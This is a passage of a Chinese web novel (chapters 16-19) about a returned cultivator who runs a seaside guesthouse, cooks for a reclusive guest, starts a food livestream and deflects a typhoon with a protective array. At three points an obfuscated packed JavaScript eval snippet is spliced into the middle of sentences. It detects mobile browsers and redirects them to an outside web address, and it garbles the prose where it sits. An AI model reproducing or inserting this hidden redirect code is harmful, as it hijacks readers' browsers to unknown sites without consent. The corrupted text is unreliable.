空气安静了一会儿,安斯年转头看见前饭搭子扭扭捏捏的表情,他悟了,“晚点挖两株回去吧,种在窗台就行,保管你家里再不招蚊子了。” 因为连吃带拿所以有点吞吞吐吐的冯乐乐立马笑了,“得嘞!那我现在就去。” 小圆脸风风火火的,招呼上男票就跑到前院去了,安斯年有点担心这俩家伙到底认不认识薄荷,洗了手,拿出爪机给对方发了张图片,这才稍微安了心。 “噔……噔” 又有人下楼,听这声音,安斯年仿佛已经看见了晏臻那慢条斯理的走路姿态。 脚步声越来越近了,还能闻见一丝猫味儿。 这是带着猫老爷监工来了? 安斯年回头笑了笑:“早安,晏先生。” 晏臻还是一样的长袖衬衫长西裤,只不过换了个颜色,一身的黑,跟他怀里的黑猫很是相配,闻言稍愣了一下,缓慢回答道:“……不早了吧,你不是七点就起来了?” “啊?呵呵……是啊。” 随口的礼貌问候而已,被人一本正经的反驳回来,安斯年只能呵呵两声。 怪不得昨晚连冯乐乐都有搭不上话的时候,这位还真是个究极版本的话题终结者,他甚至愿意赌上十块钱的,这姓晏的,一定还是个单身…… 浑身上下都弥漫着孤寡的气质。 搭不上话就不硬搭了,安斯年专心忙自己手里的活儿,身后那个男人像个背后灵一样盯了他好半天,发来一句陈述语: “你这儿……没蚊子,也看不见蟑螂和老鼠。” 这题好答,刚才忽悠过前饭搭子,安斯年开始剁辣椒,和着“当当”的菜刀声回答:“种了些驱蚊的植物,薄荷、薰衣草什么的。” “薰衣草,也可以用来助眠么?” “对,昨晚睡得挺好吧?”安斯年转头随意瞄上一眼,这人的黑眼圈似乎淡了些,脸色也比昨天刚见面的时候强了点。 其实他不知道,何止是睡得挺好,应该是相当的好。 晏臻已经记不起,自己到底有多久没睡过这样一个整觉了,以至于睁眼就到了天亮,听见那个人出门时电机发出的声音,他都茫茫然不敢相信这是真的,拿起手机看了一眼时间,整整睡足了八个小时。 但他不认为这是薰衣草的原因。 他的失眠主要是因为回避型进食障碍症造成的机能紊乱导致的,还有焦虑和创伤后遗症的干扰,成因复杂。 除了依赖药物,其他的各种方法,不管是运动、正念疗法、认知行为疗法,还是香薰疗法,他都有尝试过,但基本没什么用,所以怎么可能到了这儿,因为花园里薰衣草的香气就不药而愈呢? 一定还有些什么别的原因。 他又想起那小碟鸡肉……这人虽然脑子笨了点,但做饭的手艺确实挺厉害的。 晏臻微眯着眼,将岛台前剁辣椒的人从头到脚仔细琢磨了一遍。 除了脸比别人好看一些,身材比例匀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731011|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 称了些,皮肤光洁白皙了些,似乎看不出什么异常? “睡得……也还行。” 他慢悠悠答了话,手一松,把豆汁儿放在了沙发上,缓步走进厨房,“安老板,我改主意了,打算……住一个月。” 一个月? 大闲人啊。 这么一个客人,这个月的租金还有买菜的费用就可以回本了。 脑子里咔咔的计算了一下,安斯年点头说:“好哦,房费给你打个折,就六万一吧。” “嗯,电动自行车能借一下么?” “可以啊,前台抽屉里面,打开就看见了,带着遥控器的。” 晏臻走到前台拉开电脑下的抽屉,确实一打开就看见了,摆在最外面靠左的角落上,只是钥匙下面还压着安老板的身份证和一叠挺厚的现金…… 他再次被这位安老板的随性震了一下,这么不设防的么? 拿出钥匙再关好抽屉,朝着正在剥蒜的那人招呼了一声:“一会儿就回来,豆汁儿让它就待在客厅吧,不会乱跑的。” 耳朵听到一句清朗的“好哦”,他加快脚步向外走,门口正遇着隔壁那对小两口,捧着两株薄荷如珠似宝的进屋。 晏臻说的一会儿果然也就是一会儿,安斯年刚刚做好所有的准备工作,这人就回来了,不到一个钟头,估计也就刚够上山下山一趟的,手里拿着两个挺大的包裹。 自动自觉放好了钥匙,这人不声不响的上楼去了。 午饭做好了,照常是三人开抢,晏臻依旧喝他的杂交糊糊。 水煮鱼片又烫又辣,冯乐乐和曾凯一边猛灌冰可乐,一边夹个不停,就这也没能堵住嘴: “妈呀,这鱼片也太嫩了吧,感觉抿一口就化了。” “嘶~好辣,但是又好香啊!” “……啊,这么快就没了?哎哎,老曾,底下豆芽可以拿来拌饭,巨好吃!” “你吃你的豆芽,我喜欢笋尖,简直绝了,脆生生的但又超入味……” 两人如此热烈的夸赞让安斯年很有些满足感,可他的眼光不自觉就扫到站在厨房没说话的那个人…… 刚才的那两个包裹,大概是冷链配送的预制食材吧,要不然来的时候不大的一口箱子,哪里能装这么多一模一样的保温盒。 吃完饭,安斯年起身从冰箱里拿出一盅备好的餐后甜品,递到了晏臻面前:“红豆双皮奶,吃么?” 就这两顿饭的功夫,他其实已经察觉到了,对方应该是身体原因导致吞咽有些困难,只能吃流食,而且不太喜欢热的食物,冰镇过的双皮奶虽然像是果冻似的,但到嘴里很快就会化了,和流食也差不了多少。 晏臻盯着那盅双皮奶,凝脂般的奶皮中间,托着殷红的豆沙,像是雪地里掉落的点点红梅,鲜甜的奶香气味被低温镇压后,更加的清爽诱人食欲。 安老板并没有等他答话,放下陶盅,又从冰箱里拿出另外两个去餐厅了,转眼功夫,“哇哇,天啊”“绝了”从那小两口嘴里不停冒了出来。 转头看向自己面前的这盅,晏臻拿起一旁的不锈钢勺斜插到底,舀出一勺,轻轻放进嘴里。 红豆沙被煨到软烂,一丝陈皮的微酸冲淡了甜腻,只留下蔗糖焦香的余韵。羊脂玉一般的奶冻,上下凝结了两层奶皮,用勺子舀起来时颤颤巍巍的,却又入嘴即化,像是用最朴素的牛奶和鸡蛋完成的味觉魔法。 清甜的淡香里,双皮奶细嫩柔滑到了极致,好吃到无法形容。 难道……这就是舌吻的滋味? 17. 紫薯山药冰粥 晏臻是个刚出炉不到一年的网文写手。 但他其实压根没想过自己会走上这条路,只是听从医嘱,找些自己喜欢的事情纾解焦虑而已。 根据退役前的经验,他随手写了几个刑侦类别的小短篇,又被朋友劝着找了个网站发了,没曾想居然还挺火,不到一本完结就已经聚集了不少的粉丝,一边夸他的小说逻辑缜密真实性强,一边不停地打投催更。 能接受到这些正向反馈,那他也就当个正经的职业来做了。 收到的赞誉很多,只有一点让他广受批评,说他是个感情苦手,一涉及到感情的文字就写的僵硬无比,让人不忍淬读。 他其实也搞不懂,看刑侦文的还挑剔什么感情啊,凶杀案还不够刺激的么? 话说如此,作为一个完美主义者,晏臻还是找了几位备受夸赞的感情流写手的文章来研究,其中一句描写恋人间接吻的话让他记忆尤深—— “她的唇……像初春的樱花在他的舌尖融化,清甜的滋味里,又如丝绸般的细腻柔滑到了极致……” 文字看上去很美,他甚至还摘了朵樱花试了下味道……一言难尽。总之,看上去有多美,吃起来就有多难吃,寡淡得和啃草皮也差不多,土腥气里还带着微苦。 今天安老板的这一勺红豆双皮奶进了嘴,味道实在是超乎他想象的惊艳,在他贫乏的形容词库里,居然只能冒出这一条。 所以,接吻真的会像红豆沙这么甜么…… 安斯年给冯乐乐和曾凯端上了双皮奶,站着接受了几句恭维,转身走回厨房从冰箱拿出自己的那一盅。 他猜想这样方便吞咽的食物晏先生应该不会拒绝,所以早上一共做了四份。炖盅端在手里,眼睛往左侧岛台一看—— 晏臻面前的陶盅空空如也,他本人手里捏着把勺子正在发愣。 嗯? 嗯。 看来很对胃口了。 安斯年低头,瞄了眼手里的炖盅,用极其微小的幅度朝晏臻的方向递了递:“……还有,还吃么?味道不错吧?” “……挺好。”晏臻看了看白里透红的甜品,眼神从对方悄悄滚动的喉结一扫而过,放下了手里的勺子,“但不用了,谢谢。” 说完就走向客厅,抱起豆汁儿上楼去了。 评价虽短,但能听出真诚,安斯年看着这人的背影,也挺开心的,好东西就是要分享才有意思,不像在九嶷的时候,秦恒刻意拉长了脸嘲讽,还特意改了戒律不许大家吃他做的饭,几百年下来,一个人做饭吃饭,也不知道到底修的是神仙还是寂寞了。 当然,能吃到自己做的甜品就更开心了。 嗷呜~最爱红豆沙了。 开心的时间一晃而过,冯乐乐和曾凯两个打工人下午就得回市区去了,送走了朋友,安斯年打开电脑上网。 之前在驴途站上挂的民宿介绍,两天了,别说订单,就是收藏和关注都没有一个,这么美的花海,不至于无人问津啊。 难道是他拍照的技术太差? 或者就是价格的问题了。 一千五的餐费不是随便谁都能接受的。可这也没办法,全球独一份的东西,没法贱卖。 闭上眼,安斯年的神识进到空间里。 小樱移栽出来之后,视觉似乎空旷了些,但是地面的植物挨挨挤挤,其实是有增无减的。 几乎刚一显形,右手小指头一凉,就被藤宝伸出的枝叶缠上了,本命灵植与他心意相通,这是连撒娇带抱怨的,责备他好几天没进来看它。 安斯年笑着摸了摸藤蔓上的叶片,诚恳道歉:“对不起啊,这几天实在太忙了。” 叶片簌簌的抖动两下松开了,藤条上绽开了一朵小小的黄花。 这就是已经消气了,安斯年用指尖轻轻逗弄了一下花瓣,转眼打量起地面的各色植物。 整个空间地块是按照田字格的形状规划的,以藤宝为中心点,左下是多肉和几款蕨类,还有薰衣草绣球什么的,移栽出去装点门面后,每种剩了几颗留在地里。 左上种的全是调味料,姜葱蒜、辣椒、艾草、紫苏等,其中最大的一片就是薄荷。 右边上面那块,种了些常见的蔬果,黄瓜、西红柿什么的,还有他最爱吃的水果,西瓜。这会儿都刚出了苗,看上去嫩绿的一片。 下面的是绿叶菜,地势所限,也就栽了三种,小白菜、苋菜和空心菜,现在正是长势最旺盛的时候。 即使不使用术法催生,也没有阳光水分,光靠灵气哺育着,这里植物的长势也比外面快了两三倍,蔬果从出苗到采摘大概一个月时间,绿叶菜一周左右就可以吃了。 可惜的就是地方还不够大,每种植物的数量都不算太多,想到这儿,安斯年感应了一下空间中的灵气流,嗯,736丝,距离破万还是遥遥无期啊。 回到电脑前,手机上的消息条一晃而过,安斯年拿起来点开一看,是曾凯发过来的,这家伙生怕把他朋友的订单给忘了,还没回到市区呢,等红绿灯的功夫就把对方两人的姓名电话都发了过来。 简短回复“收到”,通讯录上突然冒出个红点,名字和发来的认证信息都只有一个“。” 好在头像上的那只黑猫他认得,灰绿色的眼睛,跟真的豆汁儿颜色有些近似。 通过了好友,这人一言不发的转了账,六万一千,一分不少,安斯年点完接收心里嘀咕,也不怕加错了人转错账啊? 既然晏先生这么爽快,晚上这顿饭还是可以再照顾一下的。 其实安斯年有点馋海鲜砂锅粥了,虾蟹煲出来的米粥,撒上香菜,再加上一勺黄豆酱,味道鲜美得没法说。可这粥必须烫食,冷吃的话多少有些海腥味,晏臻大概率是吃不了的。 那就冰粥好了,至于豆汁儿老爷,另外给它准备一份猫饭。 冰箱和储物间翻找一回,安斯年决定做个紫薯山药冰粥。所谓紫薯补血,山药养胃,财大气粗的客人还是要好好活着才行。 将紫薯蒸透后捣成泥,摊在筛子上晾上一会儿,水分的蒸发会让花青素浓度飙升,紫色会比新鲜的时候深上几度,犹如陈年葡萄酒的沉淀色,会让冰粥的颜色更美。 戴上手套,把铁棍山药去皮后放进柠檬水里浸泡一下,同样切碎了捣泥。 粥底是大米、糯米和薏仁,熬到半个钟的时候加入紫薯和山药泥,再熬上十五分钟后加冰糖,总体火候也就一个钟头,粥就熬好了,最后放进冰箱冷藏,搞定。 吃之前还可以加些桂花蜜,更添风味。 做好了准备,离吃晚饭的时间也还早,安斯年靠在客厅的沙发上稍事休息,顺手翻开一本植物图鉴,琢磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731012|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着地球植物与九嶷那边的区别。 作为一个木系修士,炼丹基本上可以算是基础法门,只是他以前一直没有筑基,没法用真火炼制高级丹药,所以也就学了个皮毛,只会炼制几种最低级的丸药。 现在最大的问题,反而是地球的植物与九嶷的差别太大,属性和药性需要重新实验才行。 页面图片展示的这个幽灵兰,整朵花像是漂浮在半空中,和他所知的“素金六瓣蝶翼草”外形极像,同样的没有叶片。 这种草是“延寿丹”的主材,在九嶷,那些没有灵根的普通人想要长寿,只能吞服这种丹药,一颗可以增寿五十年,但一辈子也只能吃上一回,后面无论再磕多少粒都没有效果了。 安斯年打开搜索器,问“幽灵兰大概多少钱一颗?” AI升级后的搜索器速度极快,一两秒就弹出了答案。 一千五? 稍微贵了点,但也还能接受,和他一天的餐费差不多…… 等会! 后面还有一个……万?! 一千五百万一株,而且有价无市。 安斯年叹口气,这么比较起来,刚刚落袋的六万一瞬间就不那么香了。 什么时候才能挣够这笔钱啊…… 他半靠着沙发躺下,阳光透过纱帘打在地板上,客厅里很安静,只有空调轻微的嗡嗡声,还有胸口一下一下的心跳声,像是在空荡荡的胸腔里敲击的木鱼。 “应该都过得很好的吧。” 无数次重复着这句话,像是在给自己找借口,又像是安慰自己,就这样自我说服了好一会,他还是没能忍住,手指滑动,点开了“梁好彩”的朋友圈。 梁好彩是他的妈妈,比较典型的粤洲女性长相,一条条翻看下去,全是弟弟的近照:睡觉的,长牙的,被妈妈抱着逛公园的,一岁多的男宝笑得像个小天使。 回来十几天了,他好几次想拨通那个熟悉的号码,可惜只要一想到那个夜晚,勇气就瞬间消失了。 有时候,安斯年也会想,如果当初不是那么巧,被当众发现了性向,如果他不是那么老实,一五一十交代了所有,现在的生活又是怎样的呢? 他还会去北漂么?还会成为猝死的牛马穿越么? 还会有安嘉树么? 嘉树,多美好的名字,是希望他成为安家的栋梁,笔直如参天大树吧。 但是,弯曲的树难道就不是树了么? 栽培养育了二十年的感情就能在一夜间统统消失? 安斯年不知道,他也没有执念一定要知道,漫长的三百年已经把很多事情彻底冲淡了。 但现在有了机会,生育之恩得报。 如果家人们没有灵根,那么,一人一颗“延寿丹”算是他最后的心意了。 说来说去,还是得想办法多挣钱才行。 结束emo,安斯年翻身坐起,刷着手机下单了一些灯光三脚架之类的,他准备开个直播,扩大一下业务范围,顺带宣传一下自家民宿。 一下午就这样过去了,天色渐渐昏暗,到了晚饭点,晏臻拿着他的保温盒下楼了。 安斯年将一大碗精心熬煮的养生冰粥放到他面前,这人显然愣了一会儿,薄唇翕动了好几下,才慢慢吐出一句: “……你用……高锰酸钾煮粥?” 18. 蜜汁叉烧 听听,这是人说的话么? 因为是紫色的所以就是高锰酸钾?为什么不干脆说我用青化物煮的粥? 安斯年的眼神略有点忧郁。 一个对视,晏臻讪讪的挪开了视线。 他当然知道这不是高锰酸钾,只是粥的颜色太漂亮,浓紫到冷艳,让他想起了初中化学课上见过的溶液,一时就想开个玩笑而已。 是笑话太冷了么? 又或者他脸上的疤太吓人、表情太过严肃? 对方完全没有被逗乐的迹象。 “……不是,我的意思,这个紫色……” 紫什么紫,压根不是颜色的问题,习惯了冰冷嘲讽的嘴说不出有温度的赞美话而已。 晏臻语塞,一时想不到要怎么圆场,干脆就着碗猛猛喝了一大口。 可也就因为太大口了,吞起来看着十分艰难,倒像是很勉强很难喝的样子…… 安斯年这会儿没功夫计较这个了,他突然听见三楼低低的一声呜咽,是昏睡快一整天的陈皮醒了。 反正也算是尽过了心意,是嘲讽还是嫌弃那也随便,爱喝不喝吧。 他随意点个头,快步往楼上走。 刚进门,一团毛茸茸扑了上来,安斯年控住狗头,皱着鼻子推远了些,笑道:“昨天的澡算是白洗了……真臭!” 一天的功夫,陈皮长大了一倍有余,原本干净蓬松的毛发根部,被伐毛洗髓分泌出的黑色油污覆盖,散发出难闻的气味。 听见这句话,它自动自觉的走向洗手间,还不时回头看一眼,看看安斯年跟上来没有。 看来灵智大开啊。 有了它的配合,没费什么劲儿,安斯年很快就将狗狗收拾干净了,带着下了一楼,饿了一天的小家伙在厨房吃了整整三大块牛排,那副狼吞虎咽的模样,衬得一旁吃猫饭的豆汁儿无比的优雅。 猫猫狗狗第一次见面,还算挺融洽的,或者也是因为豆汁儿老爷年纪大了不想动,陈皮吃得太撑动不了。 总之各自盘踞在厨房一角,连眼神都没多瞄对方一下。 这情况,其实和它们的主人也差不多,安斯年下了楼,喂完猫和狗,就坐在桌子边安静的喝粥,晏臻好几次想张口说话,又默默地咽下了。一顿晚饭吃得安静无比,和前两顿比起来简直天壤之别。 这样也挺好的,反正他早就习惯这种安静了。 直播器材到得很快,当天下单,第二天下午就到了,只是送快递的大叔有点抱怨,嫌这山路太难走。 安斯年本想打包些刚出炉的蜂蜜小蛋糕给对方联络下感情,可惜话还没出口,那人丢下几个包裹,骑着电驴直接就甩屁股走人,嘴里还嘟囔什么“再也不来了”之类。 那就算了吧,看来与他做的食物没有缘分。 拆了包裹,按照说明,调整好环形补光灯的角度,架好三脚架,安斯年开了直播。 他没打算露脸,要突出的是美食,和他长什么样子没关系。 拿出冰箱里放了一整天的陶瓮,揭开保鲜膜,经过腌制的梅头肉泛着鲜亮的光泽,秘制酱料在镜头前冒着细小的暗红色气泡。 也许是放在封面的那张花海照片太漂亮,没两分钟,直播间陆陆续续进了十几个人,第一句弹幕飘过,跟他的美食tag半毛钱关系都没有—— 【主播手好美】 有点歪楼了,安斯年清了清嗓子,准备解说一下,只是开口第一句就有点卡壳。 怎么称呼好呢,兄弟们?家人们?还是宝宝们? 以前经常听到的称呼似乎都有点说不出口。 他稍微稳了稳,决定随心所欲,“道友们,今天要复刻的是岭南古法蜜汁叉烧。” “大家看到的是腌制好的梅头肉,如果喜欢肥叉的,就用五花肉,腌料很简单的,背口诀就行,生抽老抽叉烧酱、南乳蚝油白砂糖,再配上基础的姜葱末、料酒就可以了,料酒推荐粤洲特产的玫瑰露酒,口感更佳。” 一边说,他一边将肉条串在衣架状的烤叉上,肉头的地方覆盖一片锡箔纸,以免烤焦了。 “至于刷肉的蜜料呢,主要就是麦芽糖浆,再调和少许蜂蜜……” 说到一半他又卡壳了,腌好的肉条有八根,两根烤叉只能串上六条,计算有些失误啊。 安斯年看着满手的酱汁,再左右瞄过一眼,其实最方便是用法术,可惜现在直播不能用,能帮忙的人没有,狗狗倒是有一条,正垂着涎水望着他手里的肉块。 “陈皮,外面烤炉旁放着的烤叉,去帮我拿一个形状一样的来。” “嗷!” 眨眼的功夫,一只灰白相间的大号泰迪出现在镜头里,直立着伸长了脖子,将烤叉叼给了主人…… 【卧槽,神犬!】 【这智商,建议保送清北深造】 方雨童大概就是这个时候点进直播间的。 中度的厌食症让她手指瘦得好像枯枝一样,手机屏幕里倒映出的凹陷脸颊,已经完全没有了十九岁少女的鲜活。 摆在桌上的保温餐盒,是妈妈早上亲手做的,拆开已经放到快凉透了,大半天没进食的胃部也在抽搐着,她强迫自己点亮手机刷进美食频道,找个可以激发食欲的佐餐,可惜跳转了好几个直播间,嘈杂的人声与背景声,各种吹嘘带货,越看就越是难受……直到她在一堆浓油酱赤中刷到一条小狗。 嗯?走错频道了么? 好怪,再看两眼…… 哇,好聪明的狗狗,把烤叉叼给主人后,就趴在料理台边,死死盯着陶瓮里腌制好的肉条,眼神里的痴迷和渴望简直要漫出屏幕了。 几条生肉而已,可诡异的,竟然也让方雨童生出了些味觉。 继续看下去,主播将腌制好的肉条吊进挺大的一个土窑状的烤炉里,等着烤肉的时间他也没多说什么,只是镜头带着大家将他的民宿左右逛了一圈。 繁花簇拥的院落,无与伦比的海景,在暖橙色的夕阳中显得那样的美不胜收。 “时间差不多了,这时候要把叉烧拿出来刷上蜜汁,再烤制一刻钟左右。” 主播的声音很清亮,还有一丝似曾听闻的迷之耳熟,配上稍显缓慢的语速,会让人产生一种很特别的感觉,方雨童有点形容不出来,大概是一种特别懒散悠闲,又特别成竹在胸的感觉,挺矛盾的。 一刻钟后,蜜汁叉烧出炉了。 暗红色的肉块仿佛在发光,蜜汁滴落的轨迹在镜头里慢到不可思议,仿佛能穿透屏幕坠落到她的餐盒里,发散出浓郁的肉香。 方雨童无意识的吞咽着口水,朝着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731013|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 餐盒一看,她这才惊讶的发现,里面已不知不觉的空了一半,这大概是她半年来吃得最多的一次晚饭了。 回过神,她的手指一动,一枚火箭就送了出去。 “……感谢‘雨中哭泣の小孩’送的礼物。”安斯年没想到开播第一天就能收到打赏,念完感谢,继续讲解:“吃的时候可以配上酸梅酱,能很好的中和麦芽糖及蜂蜜的甜,提升整体风味,或者配上一杯柠檬薄荷冰饮,清爽又去腻。” 说着话,手里的一杯柠檬薄荷就快做好了,他剪下薄荷盆栽里最顶端最鲜嫩的两三朵,用水洗干净了,放进玻璃杯里。 晶莹的冰块悬浮在饮品中,折射出钻石般的光泽,玻璃杯外凝结出的细密水珠,像晨露似的带着沁人心脾的清凉感。 柠檬黄与薄荷绿在光线下交融,被琥珀色的糖浆纹路包裹着,在黑色大理石岛台上投下斑驳的光影,仿佛在这小小的杯子里盛满了整个夏天。 一盘洁白的米饭,盖上晶莹剔透酱汁横流的蜜汁叉烧肉,再配上柠檬薄荷冰饮,这样的一餐晚饭,简直绝了。 直播间的人数已经破百,点关注的也有十来个了,道友们口水狂飙的同时也没忘记那条帮忙干活的小家伙。 【狗狗呢?恰饭啦!】 主播低笑了一声,将镜头转了转:泰迪犬人立着,一颗伸长舌头拼命哈气的狗头就杵在餐桌边,在它身后,蹲坐着一只优雅的黑猫。 “陈皮,要尊老爱幼啊,让豆汁儿老爷先吃。” 话音落,狗狗四爪着地,乖乖的走到了黑猫身后排队。 一只手端着小碟切好的叉烧肉放到了黑猫面前,它亲昵的舔了舔那修长白皙的手指,低头开始享用美味,狗狗则可怜兮兮的继续盯着主人。 两三分钟后,它的面前放下一个硕大的不锈钢盆,满满当当一堆剪好的肉块,它极度兴奋的“嗷呜”一声,开炫! 【爱因陈皮斯坦!】【豆汁儿老爷多大了?】 【主播手好美×2】 【能抽奖么?】【薄荷卖吗?】 弹幕多了起来,安斯年挑能回复的答:“豆汁儿老爷十七岁了,是客人的爱宠。可以抽奖啊,下次准备好的时候。” 轮到薄荷的问题,他当然打算卖的,只是价格有些拿不准,在某宝上搜索了一下,他决定翻上一倍就好,“薄荷可以卖的,留言就行,一株一百块,不包盆。” 立刻就有人出来反驳【太贵了,某宝才30】 “品质不同吧,贵有贵的道理,有缘拿到手的道友自然会明白。” 安斯年随意回答了一句,再没多说什么,下了直播。 叉烧肉的香味一直在往他鼻子里钻,他已经完全没有动力再继续播下去了,干饭要紧。 刚划拉了两下,一直站在镜头外的黑猫主人开了口: “刚在……直播?” “唔。” 这不是显而易见的么。 安斯年吞下嘴里的肉,礼貌回应:“准备吃晚饭了?破壁机我刚用过还没来得及洗,在洗菜池里。” “好。” 晏臻答了话,又在桌边停了好一会儿,直到安斯年诧异的抬起眼神,他才扬了扬手里的保温盒说:“换了个新的,我挺喜欢紫色的。” 嗯,所以呢? 19. 椰子鸡 安老板“嗯”一声,继续干饭。 明显话题转移失败,晏臻一边清洗破壁机一边思考: ‘冰粥真的很好喝,谢谢你,高锰酸钾只是开个玩笑!想逗你玩的,能不能麻烦你以后都帮我熬点粥……’这句话有那么难么,为什么脑子里想得好好的却说不出口? 洗好了机器,擦干了,逐一放入保温盒里的食材,和往常没两样的糊糊,突然那么的难以下咽。 勉强吞了一小口,晏臻转回头,安老板和猫猫狗狗吃得喷香,可咀嚼的声音实在也太大了点,干扰得他没法继续。 放下紫色的保温盒,拿出手机,他在小红薯上发了生平第一帖: 【开错玩笑惹人生气了,怎样不动声色的缓和关系?】 还没收到回复,手机突然接到一条预警:台风‘河狸’三小时后即将从S市东南端登陆。 晏臻对着大口吃肉的民宿老板提醒道:“台风要来了,门窗结实么?还有外面的花……” 安斯年正吃得高兴,冷不丁听见这句话,掏出手机看了一眼。 预警他也收到了,东南端不就是鹿角港?没想到这次的台风没跳票,一直都是按照预警过的路线在卷。气象局甚至宣称可能会达到17级以上,是号称十年来最强的登陆台风。 门窗没问题,外面的花确实是个大问题。 但并不是害怕有什么损毁。 一周前移栽这些植物的时候,安斯年顺便布下了防护大阵,名叫“三元阵”。 是以小樱的主根为阵眼,三丛绿萝为阵基,环绕着民宿,方圆百米的一个透明防护罩。 只要阵法还在,再大的风雨到了这儿也只能变成和风细雨,另外,蚊蛇鼠蚁通通不能靠近。这么说吧,别说台风,就是来了8级强震,周围的一切天崩地裂,被阵法笼罩的民宿也仍然可以丝毫无恙。 而且他发现,在地球布阵居然比在九嶷的时候还要方便,那边开启阵法需要灵石充能,到了这边,小樱和三丛绿萝都被空间和灵气珠改造过,能自动吐纳灵气,维持一个防护阵的基本运作足够了。 如果面临的威胁太大,消耗的能量赶不上吐纳速度的话,他存在空间的那些也能立刻派上用场。所以,阻挡台风应该是够够的,他担心的是,到时候异象太明显,要怎么和客人解释? 直接迷晕过去?他那副破身体受得了么…… 只能临时应变了。 “预警也不一定准,台风么,吹着吹着就不知道拐弯儿拐哪儿去了,以前不也经常这样。”安斯年若无其事的说完,接着干饭。 晏臻没顾上接话,他正皱着眉看着自己帖子下一排排齐整的队列,通通就一句: 【苍天饶过谁?你也有今天!】 …… 吃完饭,安斯年还是意思意思的做了些准备,关好了所有的门窗,到地下室检查了一下发电机,然后给充电宝、手电筒、应急灯什么的都充上电。 就这一会儿的功夫,天气已经完全变了。 天空像是被泼了一层铅灰,云层压得极低,边缘还泛着诡异的青紫色;远处海天相接处翻滚着墨汁般的积雨云,仿佛一只弥天巨兽正在匍匐而来。 随着台风的逼近,天色迅速变暗,黄昏被彻底吞噬掉,转眼就到了深夜一样的黑。 第一阵风是试探性的——树枝沙沙作响,海浪频繁的拍打着礁石。 半小时后,大风突然增强,呼啸声由低沉的呜咽转为尖锐的嘶吼,仿佛千万把利刃贴着地面横扫而过。 安斯年上到楼顶花园,站在小樱旁边,散出神识感应着阵外的情形,灌木已经被吹得几乎贴地,一些细弱的树干发出“咔嚓咔嚓”的断裂声,枝叶像是箭矢一样被射向了空中。 海面已经完全沸腾,浪尖至少有十多米高,如同一堵堵移动的灰白色巨墙,轰然撞击在礁石上,漫天的泡沫瞬间又被狂风绞碎,迅速模糊了海岸线的轮廓。 开始下雨了,越下越大,雨水并不是垂直落下,而是被大风抽成了横飞着的银针,还夹杂着咸腥的海水味。 而防护阵内,仿佛是穿进了时空的缝隙里,与阵外完全是两个世界。狂风骤雨戛然而止,狂风变成了轻柔的微风,还带着泥土和绿叶的芬芳,大雨被过滤成了细小的露珠,渐渐凝起了水雾,轻轻落在皮肤上,平添几分柔细的沁凉感。 小樱和绿萝们的叶脉间,缠绕着一种半透明的光丝,像是体内流动的灵气凝结而成的。 光丝蔓延,渐渐的,防护阵内所有的植物叶脉,包括后院大榕树的气根上,也都开始发出了微光,最终汇成了光网,漫天的细小光点,呼吸似的一明一灭,在薄雾中星星点点的闪烁着。 几分钟后,光点闪烁的频率突然加快,安斯年稍一感应,竟然是台风眼在迅速靠近。 艹,居然撞个正着! 阵外的风声骤然减弱,气压低得让人耳膜发胀,连心跳声都清晰可闻。 他顾不得藏拙了,右手迅速抚上小樱的枝干,灵气流唰唰的往阵眼里面灌。 下一个瞬间,光网骤然一亮,短暂的平静后,风暴从反方向再次扑来,但是低压的感觉却渐渐远离,缓缓的消失不见。 要是有人能从地球上空看见这一幕,会发现漩涡状的气流团中突然插出了一把光刃,台风眼被这光刃一切,像是撞上了柱子的弹球,“biu”一下就拐弯回到海面上去了。 安斯年松口气,内视了一下,原本攒到快破千的灵气流,刚才那一顿嚯嚯,居然只剩不到二十…… 唉,算了,也就十天的功夫吧。 问题不大。 “小樱真棒!抗完这场台风,身体是不是更坚韧了些?什么时候学会意念交流了,我会教你修行的法门。加油啊!”安斯年毫不吝啬夸奖,把勒杜鹃高兴得不停抖动着花叶。 他将神识的敏锐度降低些,速度极快的感应了一下民宿内。 这种低敏度状态下的神识大概类似于热感应探测器,能模糊的知道活物们的动静,但又不会太过清晰,毕竟安斯年没有偷窥的癖好,还是需要尊重一下别人的隐私的。 唯一的客人和他的豆汁儿老爷在自己房间里,敲着键盘也许是在上网,没察觉任何异样。陈皮不知道怎么窜到了后院里,正在嗯嗯。 它怎么出去的?明明记得所有门窗都关好了…… 从上到下再检查一遍,原来还是有遗漏,地下室靠近天花板的地方有一扇窗户开着,踩着储物柜钻出去恰好就是后院的地面。 打开厨房的后门,等着陈皮完事儿的功夫,安斯年百无聊赖的刷刷手机。 挺久没上小红薯了,他随手翻了翻。 之前关注的那个账号‘和我说话别破防’,今天居然发了帖子,随手点开,他一下给看乐了,这家伙也许得罪的人太多, 